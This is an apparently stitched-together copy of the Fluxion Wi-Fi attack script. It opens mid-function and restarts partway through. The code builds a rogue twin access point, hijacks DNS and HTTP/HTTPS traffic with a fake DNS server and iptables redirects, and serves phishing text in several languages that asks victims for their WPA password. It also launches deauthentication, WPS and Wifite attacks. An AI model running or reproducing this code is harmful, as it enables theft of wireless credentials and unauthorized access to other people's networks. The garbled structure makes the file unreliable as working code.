>$DUMP_PATH/lighttpd.conf - -# that redirects all DNS requests to the gateway -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# Set up DHCP / WEB server -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm #!/bin/bash - -########## DEBUG Mode ########## -## ## - FLUX_DEBUG=0 -## ## -################################ - - - - -clear - -##################################### < CONFIGURATION > ##################################### - - -DUMP_PATH="/tmp/TMPflux" -# Number de desautentificaciones -DEAUTHTIME="30" -revision=5 -version=0.18 -IP=192.168.1.1 -RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) - -#Colores -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" -green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" -############################################################################################## - -# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] -if [ $FLUX_DEBUG = 1 ]; then - ## Developer Mode - export flux_output_device=/dev/stdout - HOLD="-hold" -else - ## Normal Mode - export flux_output_device=/dev/null - HOLD="" -fi - -# Delete Log only in Normal Mode ! -function conditional_clear() { - - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi -} - -function airmon { - sudo chmod +x airmon -} -airmon -# Check Updates -function checkupdatess { - - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" - if [ -z "$revision_online" ]; then - echo "?">$DUMP_PATH/Irev - else - echo "$revision_online">$DUMP_PATH/Irev - fi - -} - -# Animation -function spinner { - - local pid=$1 - local delay=0.15 - local spinstr='|/-\' - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done - printf " \b\b\b\b" -} - -# ERROR Report only in Developer Mode -# FLUXION = Developer Mode -# Fluxass = Normal Mode -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# ERROR Report Normale Mode -function err_report { - echo "Error en la fluxass $1" -} - - -#If the script exits unexpectedly -trap exitmode SIGINT SIGHUP - -# KILL ALL -function exitmode { - - echo -e "\n\n"$white"["$red"-"$white"] "$red"Cleaning and closing"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI_MONITOR"$transparent"" - ./airmon stop $WIFI_MONITOR &> $flux_output_device - fi - - - if [ "$WIFI" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI"$transparent"" - ./airmon stop $WIFI &> $flux_output_device - fi - - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding - fi - - echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" - service restart network-manager &> $flux_output_device & - - echo -e ""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" - exit - -} - -# Genera listado de Interfaces en el Script -readarray -t webinterfaces < <(echo -e "Web Interface -\e[1;31mExit"$transparent"" -) - -# Genera listado de Idiomas web -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] -Spanish[ESP] GERMAN [GER] -\e[1;31mBack"$transparent"" -) - -#Language for Web Interface -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" -DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" -DIALOG_WEB_BACK_GER="Back" -DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" -DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" -DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" -DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" -DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" -DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" -DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Valider" -DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" -DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." -DIALOG_WEB_BACK_FR="Précédent" -DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" -DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite sua senha WPA" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" -DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" -DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" - -# Design -function mostrarheader(){ - - conditional_clear - echo -e "$blue#########################################################" - echo -e "$blue# #" - echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo ""$blue #"${blue} - echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture" - echo -e "$blue# #" - echo -e "$blue#########################################################""$transparent" - echo - echo -} -##################################### < CONFIGURACION > ##################################### - - - - - - -############################################## < START > ############################################## - - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" - exit -fi - -# Check requirements -function checkdependences { - - echo -ne "Aircrack-ng....." - if ! hash aircrack-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Aireplay-ng....." - if ! hash aireplay-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airmon-ng......." - if ! hash airmon-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airodump-ng....." - if ! hash airodump-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Awk............." - if ! hash awk 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Curl............" - if ! hash curl 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Dhcpd..........." - if ! hash dhcpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Hostapd........." - if ! hash hostapd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Iwconfig........" - if ! hash iwconfig 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Lighttpd........" - if ! hash lighttpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Macchanger......" - if ! hash macchanger 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Mdk3............" - if ! hash mdk3 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Nmap............" - if ! [ -f /usr/bin/nmap ]; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Php5-cgi........" - if ! [ -f /usr/bin/php-cgi ]; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Pyrit..........." - if ! hash pyrit 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Python.........." - if ! hash python 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Unzip..........." - if ! hash unzip 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Reaver ...." - if ! hash reaver 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Xterm..........." - if ! hash xterm 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - if [ "$exit" = "1" ]; then - exit 1 - fi - - sleep 1 - clear -} -mostrarheader -checkdependences - -# Create Workbook -if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device -fi - - -if [ $FLUX_DEBUG != 1 ]; then - - echo "" - sleep 0.1 && echo -e $red "O))))))))O)) O)) O))O)) O))O)) O)))) O))) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O) O)) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O)) O))" - sleep 0.1 && echo -e $red "O)))))) O)) O)) O)) O)) O))O)) O))O)) O)) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O) ))" - sleep 0.1 && echo -e $red "O)) O)))))))) O))))) O)) O))O)) O)))) O)) O))" - echo "" - - sleep 1 - echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" - sleep 1 - echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent - sleep 1 - echo -n " Latest rev." - tput civis - checkupdatess & - spinner "$!" - revision_online=$(cat $DUMP_PATH/Irev) - echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" -# if [ "$revision_online" != "?" ]; then -# -# if [ "$revision" != "$revision_online" ]; then -# -# cp $0 $HOME/flux_rev-$revision.backup -# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 -# echo -# echo -# echo -e ""$red" -#Updated successfully! Restarting the script to apply the changes ..."$transparent"" -# sleep 5 -# chmod +x $0 -# exec $0 -# -# fi -# fi - echo "" - tput cnorm - sleep 2 - -fi - -# Show info for the selected AP -function infoap { - - Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` - Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` - echo "INFO WIFI" - echo - echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$blue"Channel"$transparent" = $channel" - echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" - echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" - echo -} - -############################################## < START > ############################################## - - - - - - -############################################### < MENU > ############################################### - -# Windows + Resolution -function setresolution { - - function resA { - - TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" - BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" - } - - function resB { - - TOPLEFT="-geometry 92x14+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 92x36+0-0" - BOTTOMRIGHT="-geometry 74x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 74x30-0+0" - } - function resC { - - TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" - } - function resD { - TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" - BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" - TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" - } - function resE { - TOPLEFT="-geometry 130x43+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 130x40+0-0" - BOTTOMRIGHT="-geometry 132x35-0-0" - TOPLEFTBIG="-geometry 130x85+0+0" - TOPRIGHTBIG="-geometry 132x48-0+0" - } - function resF { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" -} - -detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) -## A) 1024x600 -## B) 1024x768 -## C) 1280x768 -## D) 1280x1024 -## E) 1600x1200 -case $detectedresolution in - "1024x600" ) resA ;; - "1024x768" ) resB ;; - "1280x768" ) resC ;; - "1366x768" ) resC ;; - "1280x1024" ) resD ;; - "1600x1200" ) resE ;; - "1366x768" ) resF ;; - * ) resA ;; -esac -} - -# Choose Interface -function setinterface { - - # Collect all interfaces in montitor mode & stop all - KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` - - for monkill in ${KILLMONITOR[@]}; do - ./airmon stop $monkill >$flux_output_device - echo -n "$monkill, " - done - - # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`./airmon| grep -c "-"` - - echo - echo - echo Autodetect Resolution ... - echo $detectedresolution - echo - - - - if [ "$INTERFACESNUMBER" -gt "0" ]; then - - echo "Select an interface" - echo - i=0 - - for line in "${wirelessifaces[@]}"; do - i=$(($i+1)) - wirelessifaces[$i]=$line - echo -e "$blue ""$i)"$transparent" $line" - done - - echo -n "#? " - read line - PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') - - if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then - conditional_clear - mostrarheader - setinterface - fi - - readarray -t softwaremolesto < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') - rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 - - for molesto in "${softwaremolesto[@]}"; do - killall "$molesto" &>$flux_output_device - done - sleep 0.5 - - modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 - sleep 0.5 - # Select Wifi Interface - select PREWIFI in $INTERFACES; do - break; - done - - WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) - WIFI_MONITOR=$WIFIMONITOR - WIFI=$PREWIFI - - #No wireless cards - else - - echo There are no wireless cards, quit... - sleep 5 - exitmode - fi - - deltax - -} - -# Check files -function deltax { - - conditional_clear - CSVDB=dump-01.csv - - rm -rf $DUMP_PATH/* - - choosescan - selection -} - -# Select channel -function choosescan { - - conditional_clear - - while true; do - conditional_clear - mostrarheader - - echo "Select channel" - echo " " - echo -e " "$blue"1)"$transparent" All channels " - echo -e " "$blue"2)"$transparent" Specific channel(s) " - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) Scan ; break ;; - 2 ) Scanchan ; break ;; - * ) echo "Unknown option. Please choose again"; conditional_clear ;; - esac - done -} - -# Choose your channel if you choose option 2 before -function Scanchan { - - conditional_clear - mostrarheader - - echo " " - echo " Select Channel " - echo " " - echo -e " Single channel "$blue"6"$transparent" " - echo -e " Multiple channels "$blue"1-5"$transparent" " - echo -e " Multiple channels "$blue"1,2,5-7,11"$transparent" " - echo " " - echo -n " #> " - read channel_number - set -- ${channel_number} - conditional_clear - - rm -rf $DUMP_PATH/dump* - xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR -} - -# Scans the entire network -function Scan { - - conditional_clear - xterm $HOLD -title "WIFI Monitor (CTRL+C When Ready to Select Target)" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR -} - -# Choose a network -function selection { - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - conditional_clear - - askAP -} - -# FakeAP -function askAP { - - DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` - - if [ $DIGITOS_WIFIS_CSV -le 15 ]; then - selection && break - fi - - if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then - fakeapmode="airbase-ng" - askauth - fi - - mostrarheader - while true; do - - infoap - - echo " ##### Select Attack Option #####" - echo " " - echo -e " "$blue"1)"$transparent" FakeAP with Hostapd ("$red"Recommended)"$transparent")" - echo -e " "$blue"2)"$transparent" FakeAP with airbase-ng (Slower connection)" - echo -e " "$blue"3)"$transparent" WPS-SLAUGHER (By:ApatheticEuphoria)" - echo -e " "$blue"4)"$transparent" Wifite Attack (Automated Network Hacking)" - echo -e " "$blue"5)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; - 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) fakeapdmode="WPS"; wps; break ;; - 4 ) wifite ;wifite; break ;; - 5 ) selection; break ;; - * ) echo "Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -#wifite -function wifite { - sudo python wifite.py -} -# Test Passwords / airbase-ng -function askauth { - - conditional_clear - mostrarheader - while true; do - - echo "METHOD TO VERIFICATION THE PASSWORD" - echo " " - echo -e " "$blue"1)"$transparent" Handshake ("$red"Recommended"$transparent")" - echo -e " "$blue"2)"$transparent" Wpa_supplicant(More failures)" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) authmode="handshake"; handshakelocation; break ;; - 2 ) authmode="wpa_supplicant"; webinterface; break ;; - 3 ) askAP; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} -function wps { - -clear -echo " -██╗ ██╗██████╗ ███████╗ ███████╗██╗ █████╗ ██╗ ██╗ ██████╗ ██╗ ██╗████████╗███████╗██████╗ -██║ ██║██╔══██╗██╔════╝ ██╔════╝██║ ██╔══██╗██║ ██║██╔════╝ ██║ ██║╚══██╔══╝██╔════╝██╔══██╗ -██║ █╗ ██║██████╔╝███████╗█████╗███████╗██║ ███████║██║ ██║██║ ███╗███████║ ██║ █████╗ ██████╔╝ -██║███╗██║██╔═══╝ ╚════██║╚════╝╚════██║██║ ██╔══██║██║ ██║██║ ██║██╔══██║ ██║ ██╔══╝ ██╔══██╗ -╚███╔███╔╝██║ ███████║ ███████║███████╗██║ ██║╚██████╔╝╚██████╔╝██║ ██║ ██║ ███████╗██║ ██║ -╚══╝╚══╝ ╚═╝ ╚══════╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ - -" - -echo "WPS-SLAUGHTER BY: Apathetic Euphoria" -echo "+ Help and Support from Aanarchyy" - -sleep 3 -clear - -#!/bin/bash -clear -declare BSSID; -declare ESSID; -declare CHANNEL; -declare WIFI_MONITOR; -declare WIFI_MONITOR2; -declare WIFI_MONITOR3; -declare WIFI_MONITOR4; -declare WIFI_MONITOR5; -sleep 3 -clear - -sudo rfkill unblock all - -#####Functions for Monitor Mode#### - -enable_mon_mode_1() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR" -sudo ifconfig $WIFI_MONITOR down -sleep 1 -sudo iwconfig $WIFI_MONITOR mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_2() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR2" -sudo ifconfig $WIFI_MONITOR2 down -sleep 1 -sudo iwconfig $WIFI_MONITOR2 mode monitor -sleep 1 -sudo ifconfig $WIFI_MONITOR2 up -echo "Monitor Mode Enabled" -} - -enable_mon_mode_3() -{ -echo "Enabling Monitor Mode on $WIFI_MONITOR3" -sudo ifconfig $WIFI_MONITOR3 down -sleep 1 -sudo iwconfig $WIFI_MONITOR3 mode monitor -sleep 1 